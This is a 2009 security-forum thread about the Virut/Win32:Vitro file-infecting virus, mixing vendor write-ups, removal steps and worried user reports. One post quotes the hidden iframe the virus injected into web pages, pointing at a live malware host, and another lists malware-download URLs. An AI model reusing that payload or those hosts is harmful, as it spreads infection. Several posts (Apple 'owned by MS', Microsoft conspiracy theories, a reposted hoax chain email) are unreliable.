As things stand for the moment the best way is to go SafeHex to prevent infection, that will mean update and patch all of your Windows OS and all the vulnerable third party software (use Secunia PSI to do this real easy), do not cruise the Internet with full admin rights (only for necessary downloads and installs), do abstain from doing risky things there (going after cracks, key-gens, insecure P2P), use a safer browser like Firefox or Flock with NoScript and RequestPolicy add-ons installed), have a two-way fw active and update your av and have all the services like NetShield and Webshield etc. operational,

Hi Polonus,

what free firewall would you recommend I use to try and protect against getting this again? I tried ZoneAlarm but that kept causing Firefox to crash and occasionally wouldn't let me log on (problems which went away as soon as I removed it). Is there a better one I can use on Vista?

Why isn't this in the news?

That's exactly what I was thinking. With the rate and ease at which this one spreads, and the sheer destruction it causes, it can surely only be a matter of time until it goes "mainstream" and hits the headlines.

Hi mindry,

The software firewalls, well so many hats so many preferences, we have that covered in many threads in the general section of this forum, just use the search function. Main thing is MS inbuilt firewall is not dual way by default, re: http://www.tek-tips.com/faqs.cfm?fid=4777 In Vista If you go to the Administrative Tools folder (which you can access from Control Panel, or from the Start Menu if you have configured it to be shown on the Start Menu) there is a link to the "Windows Firewall with Advanced Security" MMC Snapin. That can be used to configure (via a GUI) outbound and inbound rules.

The other question is that av vendors went silent on the Windows File Protection circumvention since mid 2007, the moderators here were rather upfront about the fact that av does not stand a chance against this b*gg*r...and where that stage is reached there are others that prick their ears, and that's me, we will keep you informed...

his virus is especially fun because it is very good at propagating throughout a Microsoft Windows environment very quickly.  Here are some of the most interesting features:

    Virus:Win32/Virut.BM

    Win32/Virut.BM disables Windows System File Protection (SFP) by injecting code into WINLOGON.EXE. The injected code patches sfc_os.dll in memory which in turn allows the virus to infect files protected by SFP. It is quite easy to disable the SFC via several undocumented API's, which are nevertheless widely used in malware (as a  malware fighter I can vouch for that). See a good writeup here:
http://www.bitsum.com/aboutwfp.asp


    The virus infects .EXE and .SCR files on access, hence actions such as copying or viewing files with Explorer, including on shares (with write access) will result in files being infected, and the virus spreading from machine to machine.

But there are other variants with other propagation vectors:

    W32/Scribble-A (the Sophos name for this type of file infector virut)

    A injects a malicious iframe into files whose extensions start with HTM, PHP or ASP, with affected files detected as Troj/Fujif-Gen. At the time of writing the iframe points to a site that hosts more malware.

    PE_VIRUT.BO

    This file infector connects to a remote IRC server. It then joins a channel to receive and execute commands on the affected system. This routine effectively compromises system security.

Hi Tech,

The main line of infection seems risky Internet activities like going after key-gens, cracks and P2P-ing.
Yes the two-way firewall can make a difference, also seen to the second payload these virut infectors can be inviting.
At the moment what I can grasp of it, the main lines of defense is NOT USING FULL ADMIN RIGHTS during normal online activities (some say this is one of the exceptions to the normal 92% of viruses that are halted to a great extent this way), (beating the WFP or WFC cannot be performed), using a hardened browser like Fx or Flock with NoScript and RequestPolicy installed is making the browser application secure.
Some av vendors are better in detecting the malware now, but that is not helping those already infected,
immediately go into SafeMode and try to cleanse with DrWebCureIt downloaded from a secure source onto a secured USB stick, but in most cases fdisk - format - re-install is the way to conclude, sad but true, alas.
I think this virus did not get all the momentum lately because of the concern about Conficker (hyped),

You are wrong I tried dropping admin rights on a virgin install. Even dropping admin rights does not stop this virus. I even changed policies and locked down all rights to alter and install software and it still broke through. This is not your average virus. Currently Vista is unaffected to the degree XP will be. In the 30 years I have been doing this I have NEVER seen a virus as bad and distructive as this.

I got mine from the "Myspace" page as did my other 10 clients.

I hope someone finds a way to clean and remove this virus. In Vista it slows down all your processes to the point you would be better running an XT computer and I am running a Quad with over 4 gigs. I hope who ever did this gets there just deserts. This is the worst and I still belive this is not the work of one person. Everyone has ideas where it came from but I find it hard to believe this came from streaming video sites since my clients have no clue what they are.

Hate to say this. Unless there is a fix for this one I can see this one being as bad as the sasser virus of 2004. The clients who are coming to me are not using p2p or keygens. They are lucky to know how to turn on their PC's. This virus is on webpages now. I am totally surprised this caught Norton and Macafee with their pants down. They claim they are 100% at catching stuff like this. I have told all my clients in a mass email to get avast since you guys were the only guys who caught this one. Now the question is can it be stopped?

If avast can detect, can block and we're safe.

That is the problem. Avast can detect this virus but can not get rid of it. This Virus also infects Vista I found out and I stand to be corrected. The only difference is you can operate with Vista to some degree but until they learn how to attack Vista like they can XP anyone is pretty much *******.
Title: Re: Malware name Win32:Vitro
Post by: mindry on March 10, 2009, 10:15:08 AM
Yeah, on Vista I could still use most stuff, and log on OK, but everything was horrifically slow and I still had to format. I first noticed a problem when Avast started picking up viruses in the temp files (of all users, not just the admin - I already only use admin rights when I need them) named something like VRT49EC.tmp - they were all VRT___.tmp (which in retrospect probably means Virut) and refused to be deleted, moved or anything. Frustrated, I downloaded some tool to remove any file, and this deleted all the VRTs upon reboot, but once I'd rebooted, that was when Avast told me I had a live virus and should do a boot-time scan. In retrospect I should have done that as soon as I found the VRT files.

I'm pretty sure by the way that this came off my brother's memory stick, as the problems started when he plugged this in and I had to restart twice to get anything going again. Oddly he doesn't have it, though (he's running Vista Ultimate if this makes any difference).

Thanks for the hints on firewalls Polonus, I will have a look when I get some time.

Ok, I installed the SP1 update for Vista and seems to contained the memory and speed issues, but I know the virus is still on my system. I think the only reason it is not reaking havic on my system like it did XP is because the directory structure is different and the way Vista makes service calls. But I belive it is a matter of time that whoever made this one figures out a way to do the samething to Vista.

Hi Tech,

Virut as it has other ways to propel its vector, also injects an invisible IFRAME into each HTML file that points to the domain. DO NOT visit these domains unless you enjoy backups, reformats, and reinstallations). SiteAdvisor mapped-out the target file as another Virut copy. There is another file infecting domain that is re-directed through SPAM.  This virut strain can manage to infect a thumbdrive image. Write-protected thumbdrives are vastly underrated.
Virus:Win32/Virut.BM

Win32/Virut.BM disables Windows System File Protection (SFP) by injecting code into the in-memory-version of WINLOGON.EXE. The injected code patches sfc_os.dll in memory which in turn allows the virus to infect files protected by SFP.

The virus infects .EXE and .SCR files on access, hence actions such as copying or viewing files with Explorer, including on shares (with write access) will result in files being infected, and the virus spreading from machine to machine.

The codex infecting variety removal is described here as Virut Q:
http://novirusthanks.org/blog/2009/02/viruswin32virutq-analysis-and-removal-instructions/

Also does the same infection: And using the dropped DLL file named sfc_os.dll the malware disabled the Windows File Protection by changing the value SFCDisable to ffffff9d:

    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable

There is where the hardening should be concentrated at,

The removal instructions for the virut.q that changes explorer.exe and removes the original explorer.exe,
could be summoned up as:
To remove this kind of malware I can suggest you to do this:

1) Boot windows in SafeMode

2) Update and scan your computer with DrWebCureIt from a clean source on pendrive

3) Delete infected files except the infected C:\WINDOWS\explorer.exe.
They are:
C:\DOCUME~1\jimmy\LOCALS~1\Temp\381562351.exe
C:\DOCUME~1\jimmy\LOCALS~1\Temp\311188061.exe
C:\DOCUME~1\jimmy\LOCALS~1\Temp\csrssc.exe
C:\DOCUME~1\jimmy\LOCALS~1\Temp\7hjhffd.bat
C:\Documents and Settings\jimmy\__rar_00.000
C:\WINDOWS\SoftwareDistribution\DataStore\Logs\tmp.edb
C:\Documents and Settings\jimmy\__rar_00.100
C:\Documents and Settings\jimmy\svchost.exe
C:\WINDOWS\system32\sfc_os.dll

4) Copy from your Windows OS CD-ROM the file explorer.exe in C:\WINDOWS\system32\dllcache\explorer.exe overwriting the original explorer.exe. Then you will need to re-enable the Windows File Protection (that was originally disabled by the malware) by editing the registry key as follow:

    Set the value as “0″ to SFCDisable in:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisabled

Now find the file named explorer.exe that is present in your OS CD-ROM and copy it under C:\WINDOWS\explorer.exe (overwriting the original infected one).
Now your explorer.exe should be the original file, to be sure of this just scan these files in our Virus Scanner:

    C:\WINDOWS\explorer.exe
    C:\WINDOWS\system32\dllcache\explorer.exe

You must have as report 0 detections for both files.

After, you can restart your computer and see if the malware is gone.

Alternatively you can boot a windows OS LIVE from a CD-ROM and repair the infected explorer.exe.

If you have problems removing virutQ you can post your hijackthis logs here and we will try to help you removing it.

I have found the infection has spread from "Myspace" to "Youtube" and other social networking sites. I even got a call from a customer that they picked it up from their bank website. This seems to be a sleeper virus that when it has infected all your files it will then destroy the system since it has nothing else to do.

Hi partzeus,

You think it is a sleeper virus, well if it is infecting it goes down the OS like wildfire or hayfire rather.
You and I have experienced that safe browsing habits are of the utmost significance to-day, because the tools for injecting malware into websites have fallen into the hands of many cybercriminals and the lower hacker echelons.
You do not need to be an 3L1T3 hacker to use a ready made tool from MetaSploit's to infect websites, and not a genius either, so the threat is spreading like an oilstain and using NoScript and RequestPolicy inside Firefox or Flock and having the avast Netshield and Webshield functionality is a must not to fall into those traps,

My email box is filling up and my phone has been ringing of the hook. Can you please help me answer their questions? They are getting scared and I just don't have the answers to their questions.

1. Are they infecting the websites they are going too or are they getting infected by the websites?
2. What files does this virus get? (I have been sending everyone to your site to download Avast and when they run it they are finding their doc, xls, dot, dll, mp3, jpg, wmv,etc. The list is growing?) what doesn't this virus get?
3. Are they getting infected by visiting their bank or credit card sites and is their private info being compromised?
4. Was your last post a fix for this virus or a temp patch?
5. Should they unplug from the internet until there is a fix?
6. Is this affecting Mac or Linux computers?
7. Why is this not in the national news?
8. If they visit a website that is not infected will they infect that site?
9. Can people be infected by emails or if they are infected by sending emails?
10 Why are you the only company working on this problem and why is MS, Norton and the others not talking about this virus? Are they working on a solution too?
11. Are Cell phones and emails affected by this virus if they plug it into an infected computer?

I know I posted a lot of questions, but people are getting pissed when I tell them the only way to stop this virus is to re-format and maybe lose all their data or isolate it until there is a clean for this virus.

This is a short list of the questions I am getting. I also did a test on my MS 2003 server and it got infected? As far as you know will this affect all MS servers. I am recommending that a total lock down on their computers. I have heard reports that MP3 players and digital cameras are getting infected. Is this the same virus?

I am recommending that if they have a company server that no one should plug in their USB sticks or MP3 players until a fix is found.

Title: Re: Malware name Win32:Vitro
Post by: polonus on March 10, 2009, 10:14:22 PM
Hi partzeus,

1. Are they infecting the websites they are going too or are they getting infected by the websites?
The are being infected from websites redirecting to the malware site: hxxp:zief.pl/v.exe and to a site by opening a mail redirecting to hxxp://ntkmpla.info/rc/load.exe (source: Arizona?)
People can infect remote sites through network shares and corporal networks have been known to be infected, and the malware is difficult to remove to say the least.
2. What files does this virus get? (I have been sending everyone to your site to download Avast and when they run it they are finding their doc, xls, dot, dll, mp3, jpg, wmv,etc. The list is growing?) what doesn't this virus get? exe and scr files are attacked, but via a backdoor other malware can be downloaded to perform sinister actions through a backdoor.
3. Are they getting infected by visiting their bank or credit card sites and is their private info being compromised? If they are not already infected maybe not.
4. Was your last post a fix for this virus or a temp patch? A fix for virut.q as it was proposed on the internet. Best still is protect by SafeHex browsing (Fx/Flock + NoScript + RequestPolicy activated)
5. Should they unplug from the internet until there is a fix? The best thing is go into SafeMode immediately upon detection, then unplug and to be sure one is clean to fdisk, format and re-install.
This is less time-consuming than trying to cleanse an infection that has compromised already several system executables, and will be active after SafeMode is left!
6. Is this affecting Mac or Linux computers? Not to my knowledge.
7. Why is this not in the national news? Maybe conficker was better commercially....and could be cured
8. If they visit a website that is not infected will they infect that site? Not just by visiting without
script running active in the appl.
9. Can people be infected by emails or if they are infected by sending emails? As stated above yes, virus uses all available infection vectors, files, pendrives, network shares, system API hooks, and mails.
10 Why are you the only company working on this problem and why is MS, Norton and the others not talking about this virus? Are they working on a solution too? A solution is difficult because it is a very sinister file-infector for which a cure has not been found yet. Since 2007 we have not heard much mention of the danger of disabling the Windows File Protection scheme. I am not part of avast but a private security investigator and malware fighter by choice, we are all volunteers and avast evangelists,
but it is a good thing that avast tries to tackle the problem, and the experts at geeks2go are seeking ways to beat the beast.
4. To delete the value from the registry
Important: Symantec strongly recommends that you back up the registry before making any changes to it. Incorrect changes to the registry can result in permanent data loss or corrupted files. Modify the specified subkeys only. For instructions refer to the document: How to make a backup of the Windows registry.

   1. Click Start > Run.
   2. Type regedit
   3. Click OK.

      Note: If the registry editor fails to open the threat may have modified the registry to prevent access to the registry editor. Security Response has developed a tool to resolve this problem. Download and run this tool, and then continue with the removal.

   4. Restore registry entries under the following registry subkey to their previous values, if required:

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List


   5. Exit the Registry Editor.

      Note: If the risk creates or modifies registry subkeys or entries under HKEY_CURRENT_USER, it is possible that it created them for every user on the compromised computer. To ensure that all registry subkeys or entries are removed or restored, log on using each user account and check for any HKEY_CURRENT_USER items listed above.
11. Are Cell phones and emails affected by this virus if they plug it into an infected computer?
Not sure, but I would not run the risk to find out. Use Flash disinfector on pendrives and removables.

Furthermore on the encryption that can be changed for every new variant:

Hi BigChris,

Well the infected can check whether they are infected through eventual  viral registry changes. Well the file infector cannot be transmitted using a browser with script and certain requests disabled like in Firefox or Flock browser with the NoScript extension and the RequestPolicy extension. The vulnerabilities in Adobe not patched has nothing to do with this one, that's why I use FoxIt Reader fully patched and listen and watch my streams with VLC.
Malware always will target the bigger mainstream applications/software for maximum destruction results or criminal revenues.
This newest file infector is just a sinister one meant to destroy as many Windows machines as it can reach, and it is on the loose...still av vendors qualify it as "low risk",

Title: Re: Malware name Win32:Vitro
Post by: polonus on March 10, 2009, 11:21:39 PM
Hi DavidR,

RequestPolicy is on my system and inside Firefox and Flock since it came out, got very good critics from the developer Giorgio Maone, the man behind NoScript. Never had a hick-up with this extension even on the latest nightly build of Minefield's.

With RequestPolicy you have the following options on a webpage:
*Temporarily allow all requests (if the site is known to be trusted),
*Allow request from the site and all the other domains separately,
so if you block the site that loads the pictures you have no pictures there,
*Allow requests from (if the site is known to be clean and trusted, well who knows - do not use that one).
Nowadays webmasters have all sorts of scriptcode running on the webpages from whatever remote origin and do they check for what is propping up from every corner and whatever was updated, I think not every webmaster does or fully understands the risks and threats.

Where the threat does not come in the form of script, I think this is a very welcome means of additional protection.

Those that have learned to work NoScript find themselves soon quite at ease with this add-on.

When request policy is blocked for instance and you return to a link in a page to try another link you cannot, you can when a you allowed the request to being made (temporarily) or by a reload of the page where the two different links are to be found, and yes with request policy blocking again only one link to click, so protecting you for malicious request and redirects! But you cannot leave your brains at home folks, you cannot click on whatever you see, but that goes without saying,

Hi DavidR,

That is no guarantee for having your browser function flawlessly not using experimental security add-ons. The interactions of add-ons are not always predictable. A so-called secure add-on like User Agent Switcher can be a menace to Fx or other add-ons. Being one of the thousands of beta testers of the Mozilla browser I know what I am speaking about. And I have not seen alerts in the error console that were caused by RequestPolicy. Another question is that I will never install an extension if it is not from the Mozilla official extension webpage period, there I fully agree with you,

This is most certainly serious and is treated as such on these forums. As when this gets a hold it is extremely difficult to clean and frequently ends up at the nuclear option. Backup your data files, etc. (.exe, .scr, .wma and .mp3 are the main targets for this virus {it may also inject iframe tags into .htm files} so you have to be careful what you backup), format and reinstall...

The other thing win32:vitro is a malware name used by avast, and possibly some other AVs but many others will have there own malware name and some will just name it another variant of virut (as it is like a supped up version of virut), so you could be seeing, just the tip of the iceberg.

The witty maker(s) of virut must have thought of almost everything, it is very sinister advanced destructive malware, that has two layers of encryption, we read now form Symantec's blog report on Win32.CF Collateral Damage (I added some point here and there):

Polymorphic file-infectors have been around for a long time, with possibly the first one surfacing in 1990. This has proven to be an effective technique that malicious code authors have employed to give their code a better chance of survival in the wild. Since this type of threat showed up there has been a struggle between security vendors and malware writers. Every advance in antivirus prompted the malicious code authors to come up with new and imaginative ways to thwart these efforts and vice-versa.
So with virut we are out on the tiles, or out in the trenches rather....
 
Currently we are seeing an outbreak of a particularly sinister file-infector, known as W32.Virut.CF. This threat has already compromised corporate networks and is proving difficult to remove from infected networks. Once this threat infiltrates a network it can spread quite quickly using open network shares. So, what is it that sets this file-infector apart from the others and what makes it so difficult to remove?

Virut went through many revisions before the CF variant surfaced. This particular variant uses many advanced techniques to avoid detection and removal. None of the techniques are new, but have been used effectively within Virut. Some of the techniques employed include an advanced polymorphic engine, spaghetti code, and encryption.

There are two layers of encryption employed by Virut. The first layer encrypts the code using a weak encryption algorithm. This layer also uses spaghetti code and junk instructions to make white-box analysis more difficult and time consuming. The first layer is also optional, which helps to make detection more challenging. The second layer of encryption is more complicated. It uses checks such as checking CPU speed, illegal instructions, and API address manipulation to detect analysis. This layer uses a custom XOR encryption algorithm, which is also weak, but built in such a way that makes it trivial for the author to change. Each change makes Virut appear entirely different to casual analysis.

Once on the system the threat injects itself into multiple processes on the system and hooks the CreateFile API. This allows the threat to execute whenever any process opens a file on the system. Using this technique, Virut can infect many files on the host system or on remote systems over network shares. It will try to infect Portable Executable (PE), HTML, and ASP files among others. (HTML-IFrame attack
for instance)

And, if that’s not enough, the threat also uses Entry Point Obfuscation (EPO) to help evade detection. The infection routine will point to the entry point of the first or second layer of encryption mentioned earlier. Alternatively, the threat scans for certain APIs in Kernel32.dll and patches these to have its payload executed. This EPO not only makes analysis and detecting the threat more difficult, it also makes it significantly more difficult to safely repair the infected files. It also will fill part of the empty space
left unused by the coder of an executable etc., this randomly and in a random bogus way

One further/additional thing that makes this threat so difficult to remove is the wide variety of executable formats now available on Windows platforms. This threat was not designed to infect all of these but will attempt to do so anyway. This makes the results of infection very unpredictable and the task of removal more difficult. With file-infectors, the code only has to be good enough to infect a large amount of files—if it corrupts some files and renders them useless, it rarely affects the desired outcome or purpose of the threat. We have also seen malware becoming infected with Virut, which adds another layer of complexity in terms of detection and removal. Our engine attempts to detect and repair every sample infected with Virut, but because of the complications outlined above there are some exceptional cases where this is not possible.
 
All of this sounds quite grim, but this threat can be removed from infected networks by following best practices. The infected machines need to be isolated and then scanned with avast anti-virus, preferably in “Safe Mode,” in order to remove the infected files. Scanning in safe mode allows us to repair files that may be in use (for example, system files). Additionally, the virus will not load in safe mode. Non-repairable files may need to be restored from backup. Remove network shares, or make them read only at a minimum so that the virus can’t spread to them. As a last resort, highly compromised machines may need to be reimaged. Often still fdisk - format -re-install may be the only way out..

The websites associated with this threat should also be blocked at the network boundary. See the W32.Virut.CF write-up for further details on this. There is an online script for doing this I linked to in another posting with which webmasters can cleanse their websites....

Firewall logs should be monitored for outgoing requests to those sites that can give a good indication of the location of any infected machines within the network. If possible, the affected machines should be re-imaged from trusted media. When the machines have been cleaned they should be reintroduced into production networks with caution.   
That is why do not trust special removal tools for this much, standard nor online..until I have seen the cleansing performed in real time...In the above txt there is no mention of the way in which the virus beats Windows File Protection through the in-mem-running-winlogon service adding code changing the dll responsible for WFP and changing the registry, there is a virut variant that infects notepad.exe on a pendrive, etc. etc. even infecting through linux (wine)...so in two words a formidable opponent,

We have said it before what this virus is doing doesn't seem to serve any normal purpose, e.g. gain revenue, just spread trashing systems.

If the coders are so cleaver to be able to circum the Windows File Protection, security, etc. you would think they would want this to be under the radar with botnets, spambot, id-theft, etc. to get revenue, not just wantonly trash a system. So they must be getting many unwanted/unforeseen consequences of their actions.

Hi DavidR,

Well from the outset you would say that, because it does not seem to serve a purpose. And we were not accustomed to pure OS-killing viruses for some time, because Cybercrime is now playing a main part in the malware theater. This advanced sinister virus is to challenge the av vendors just to thrust protection to a higher level, and then they know what to develop next to beat av again, as if the developer says this is the most destructive strategy for which you apparently have no answer what is your next pass in the chess-game...

Hi Tech,

We had an answer at the start of this thread: http://forum.avast.com/index.php?topic=42709.msg356973#msg356973
where the responder marks it as a new "hardcore" file infector, similar for what we have established in a more extended and detailed way during the rest of this thread. I think we are at a stage where av has to say: "This is to much for us, they (the malcreants) have won, so throw in the towel, here "the bull killed the toreador, and even got our two ears and a tail, so to say". To say as some we can cleanse this with best practices and it is a low risk malware in my opinion is strongly downplaying this threat.
And then in a practical sense when cleansing and restoring the OS is costing you far more time than to f-disk, format and re-install, then counting the buttons of your shirt is easy, and the best way is educating users in browser security that will protect them or watch carefully what they load into their machines/pendrives, peripherals,

Hi Tech,

Did you read the technical description of the virus - the second encryption of the virus enables for the malcreants to change into a new variant almost on the fly.
Quote
The second layer of encryption is more complicated. It uses checks such as checking CPU speed, illegal instructions, and API address manipulation to detect analysis.

(N.B. So there should be a generic detection available)

 Don't you understand this a game between av vendor and malcreant as if the virus creator is saying: "Admit it this time you have lost and we say well for the time being that is"

I'm just a casual observer and this is only my opinion so here it goes. I have not seen anyone so far do something that did not have a purpose. By this I mean that when we create something it serves a greater purpose than its immediate use (i.e. A fishing rod is used to catch fish, so this is the immediate purpose, and the fish caught is used for sustenance, which is the secondary/greater purpose).

Now the virus seems to cripple the Win based system which is its immediate goal. So what is the secondary scope. As far as I gather this virus doesn't seem (and I use this word specifically since I'm not entirely sure) to affect other OS
If this is false, then my argument fails.

The only thing that I see getting something out of this virus is the Competition (ie Mac and Linux).
So a conspiracy theory is plausible if indeed these Competing Non Windows OS are not affected.

I thought the samething but Apple is owned by MS. What I find really strange is MS sales of Vista bombed and even though Vista does get infected. What I find stranger is after applying the sp1 update. I have not had the degree of problems I did at first.

What I also find is funny is no one believes that this is a nasty computer virus because they have not heard anything on the news about it. I guess unless the news tells you then it is not gospel. LOL

Back in May 31, 2008  I got this email BIG VIRUS COMING-CONFIRMED BY SNOPES

Hi All.  I checked with Norton Anti-Virus, and they are gearing up for this virus!  I checked Snopes and it is for real!!  Get this E-mail message sent around to your contacts ASAP.

PLEASE FORWARD THIS WARNING AMONG FRIENDS, FAMILY AND CONTACTS!
You should be alert during the next few days.  Do not open any message!  With an attachment entitled 'POSTCARD,' regardless of who sent it to you.  It is a virus which opens A POSTCARD IMAGE, which 'burns' the whole hard disc C of your computer.  This virus will be received from someone who has your e-mail address in his/her contact list.  This is the reason why you need to send this e-mail to all your contacts.  It is better to receive this message 25 times t han to receive the virus and open it.

If you receive a mail called 'POSTCARD', even though sent to you by a friend, do not open it! Shut down your computer immediately.

This is the worst virus announced by CNN.  It has been classified by Microsoft as the most destructive virus ever.  This virus was discovered by McAfee yesterday, and there is no repair yet for this kind of virus.  This virus simply destroys the Zero Sector of the Hard Disc, where the vital information is kept.
 
http://www.snopes.com/computer/virus/postcard.asp


Granted this email does not discribe the the virus we all are fighting, but people did know something big was coming and here it is.

Did anyone listen back then. NO! LOL Well now the virus is here and escalating. I wonder what the internet will be like by the end of the month. My phone has been ringing off the hook from those who did not read the email I sent them a couple days ago. I guess we need to be call the "computer news media" before people heed our warnings. LOL

I have also noticed my internet access has increased this week. Either fewer people are using the internet "NOT" or they are now infected and no one is online. "Happy surfing" to those who protected their systems and read this forum. ;)

Hi partzeus,

I am a malware fighter, and no philosopher. I did not have a discussion with the malcreants of the new file infector strains to what purpose their miscreations were wrought upon us, and I do not like to speculate either.
On the other hand is not it the prize we pay for letting SafeHex not be a top priority in computing.
That means there are vast amounts of people cruising the Internet not knowing one hoot about how to be or stay secure, loads of them behind a zombie machine spewing 250.000 e-mails illegally every hour, for the main part without an active dual way firewall installed (who influenced users to no longer install firewalls), many users that never have their OS and third party software updated, making them vulnerable as hell. Not many users using safe browser procedures e.g. blocking script to run or request to be made from re-directs to malware sites. And we just go on selling M$ out of the box and run these with full admin rights on an as default machine with AV disabled, because isn't this using too much of my poor cycles? It is almost a policy over the last two decades where we can sigh: "Actually we deserved this virus to tell us a lesson and cripple the way we were on the Internet for years". And now the genie is out of the proverbial bottle, how do we get it back in?

You are correct concerning Apple. What I meant to say is a couple years ago they were about to shut their doors and MS stepped up to the plate and infused a lot of money into the company. Granted they do not own apple but they do own shares of stock in the company. How much I can't say. You would have to Google the news story. If memory serves me correctly this happened between 2000 and 2005 I am sorry I could not be more help.

BTW guys, what is the status on controling this virus. In one of my past posts I asked if this http://www.scanforfree.com/09/win32-virut-gen-5-removal.html  would clean the virus or does it just isolate it?

Hi partzeus,

It could be that the therm "bypasses" was translated with "circumvent", in this case we were discussing a bug - that is NOT the case - no way.

According to the following McAfee writeup ( http://vil.nai.com/vil/content/v_154029.htm ) this is what the virus is doing (after the system has been infected!) to make an exception in the registry-settings of the Microsoft Windows firewall (that is only monitoring incoming traffic by default in XP and stops by default) the exception here is being made for the  Winlogon.exe process in memory. This will result in Winlogon listening in on a TCP or UDP port and incoming outward connections for that port(s) will no longer be blocked by the  firewall, While the virus injects itself into the winlogon process it can open up ports by itself.

N.B:
- So this is not an attack vector, e.g. a non infected PC cannot be infected by "circumventing" the Windows XP firewall (as set by default).

- Whenever you have a NAT-modem/router opening up ports on your PC makes no sense, the NAT router will stop outward connections anyway. This does not influence the update process of the virus, it can download updates and additions. Also it can seek connection from within to  IRC servers etc. to receive instructions.

- When you use another software firewall you probably will get a message pop-up that Winlogon.exe is trying to listen on a certain port. Because the message does not sound suspicious right out, users will allow this.

- Log-on as non-admin will thwart the virus here in this respect probably (changing the mentioned registry settings and altering the HOSTS file is not possible in this case).

- One could alter the file system permissions on the machine. Normal users (I myself and I) do not have writing permission in C:\ and C:\Windows\Temp\; in last mentioned folder the virus will try to download extra files. These are typical in-depth-defense measurements, I have writing permission in D:\ but by being not like the average user in these respects you will have some additional in-built-protection. Of course you will allow writing permissions in %TEMP% (under XP mapped on C:\Documents and Settings\polonus\Local Settings\Temp\) but then this is a personal folder (With thanks to Bitwiper for the write-up),

Post by: polonus on March 13, 2009, 01:37:52 PM
Hi Tech,

For what you try to do, try to follow next instructions, better for you, do not mess up with firewall settings:
Step 1: Find the winlogon.exe process ID
Open up the task manager (right click on the task bar and select 'Task manager')
Enable the PID (process ID) column. By default, the task manager does not list the running process ID. If you don't have it:
In the program menu, select View->Select columns... A select columns dialog should appear.
Check the box next to PID and click on OK to apply the change.
Go to the process list (the Process tab in the task manager)
Look for winlogon.exe in the 'Image Name' column and record down its associated PID.
Step 2: Check to see if winlogon is establishing any suspicious connections. It should not be connecting to any external location.
Open up a command line window (Start->Run..., then execute 'cmd' to open a command line window).
List all the active net connections on your PC. In the command line window, type 'netstat -a -o'. This will list out all the active connections and the process that used them.
Look for the winlogon.exe process ID in the active connections list. If you see it, you're infected.

In some cases the infection can be connected to an IP address hosted at someplace.net (some domain). The 'fake' winlogon.exe is deployed in windows\winlogon.exe instead of windows\system32\winlogon.exe. The virus can't replace the original because it's a fundamental part of your O/S.

If you have the virus, here's how you clean it manually. Note, this is not for the faint hearted (you are not Tech!).
Step 1: Stop the fake winlogon.exe process from launching
Launch the registry editor (Start->Run, then execute 'regedit').
Go to My Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Look for the 'Shell' entry. The original entry should say only say 'Explorer.exe'. If it says 'Explorer.exe c:\windows\winlogon.exe' or something to that effect, you need to change it back to just say 'Explorer.exe'.
Make a note of where the fake winlogon.exe is deployed to. We're going to erase the file in the next step.
Step 2: Boot in windows safe mode
Restart the operating system.
While it's booting, hold down F8. It should bring up the boot menu.
Select the Safe mode option and follow through on all the menus until the operating system launches.
If you're successful, the desktop should have the words 'safe mode' or something to that effect displayed.
Step 3: Delete the infection
Go to the offending file location. For me it was c:\windows\winlogon.exe. WARNING: DO NOT DELETE c:\windows\system32\winlogon.exe - this is the original O/S winlogon executable.
Delete the file. If you're not able to delete it, then the infection is active and you'll need to start from the beginning again.
Once it's deleted, reboot your machine as normal.
Step 4: Verify that the infection is clean by following the detection instructions.

I hope this will help you and all the others,

I had the same problem..
I tried AVG's and Norton's virut removers with no luck, in addition to malwarebytes and Dr. Web's CureIt. Nothing seemed to help, really.
I went with formatting and rebuilding from CDs, but I backed up everything after being infected. But it seemed to go nice. Then I opened adobe photoshop and avast blocked that jl.chura.pl again. I looked around at some html files connected to photoshop, and uploaded one of them to virustotal.com. Btw, the inserted iframe in all of my infected htmls and phps is a little different from what people have been writing around. It was the following:

<iframe src="http://jL.chu&#114;a.pl/rc/" style="display:none"></iframe>

Maybe it's because of those signs and numbers in the middle of the URL that Avast didn't detect it? Strangely enough, when I tried sending one infected file to my own email, gmail had already cleansed it (without actually saying so anywhere), and removed the iframe part. Come on, you Avast developing people, make Avast even better by updating it to kill this thing. I'm looking for infected exes in my infected backups.

All other AVs, including Avast and a couple of other McAfee versions, don't find anything. I tried full system scan with AntiVir, but it's useless since it simply deletes the html files instead of cleaning them. One may find the infected files with this but send them through gmail to get them cleansed.. Hehe, long process.

I'm trying this Sophos thing on my infected backups today, maybe that's the solution to this..

What I find strange is the forum was crazy with posts a couple weeks ago and now nothing. I upgraded to Vista and now I am beta testing Windows 7 and no problems. Go figure. I wonder why there is no interest in cleaning this virus?

It is not that there is a lack of interest in cleaning it but it uses two levels of encryption by all accounts and changes its form each time it infects another file, so it isn't a simple task.

I think the key has been to try and stop it get established.

Maybe Microsoft put the Virus out, and it doesn't affect the upcoming windows 7. So now everyone will be forced to upgrade to Windows 7. Dun Dun Dunnn....

On a more serious note, I too have gotten the virus (actually my Grandma's Computer) but I wanted to know if it is safe to back up MPEG and JPEG files from the computer. These are the only things I'm concerned about, because this computer has pictures and videos from my sister's wedding. I am asking about this because I have heard that it supposedly infects MP3 and WMV files.

Hi dwarf0921,

Well the virus does not attack Vista etc. because there the attack vector is being stopped by another added security layer that we have/had not available in WinXP, but to accuse M$ of a sort of upgrade forcing malware is just slanderous. I think if the malcreants get to know Vista like they know the workings of XP's Windows File Protection etc., they would not have hesitated to launch such a file infector as well.
And why should users on XP upgrade to Vista or Windows 7, but " once bitten twice shy" have chosen for another not vulnerable platform like Ubuntu etc.
I think it is true that generally the Internet is under attack by parties that hold the view that Internet should never have become public, but while we have it that would not be M$ interest,
....and where files and extensions are concerned Win32:Vitro tries to infect all, but does not do a very good job of that, and being buggy there makes removal even worse than a nightmare,

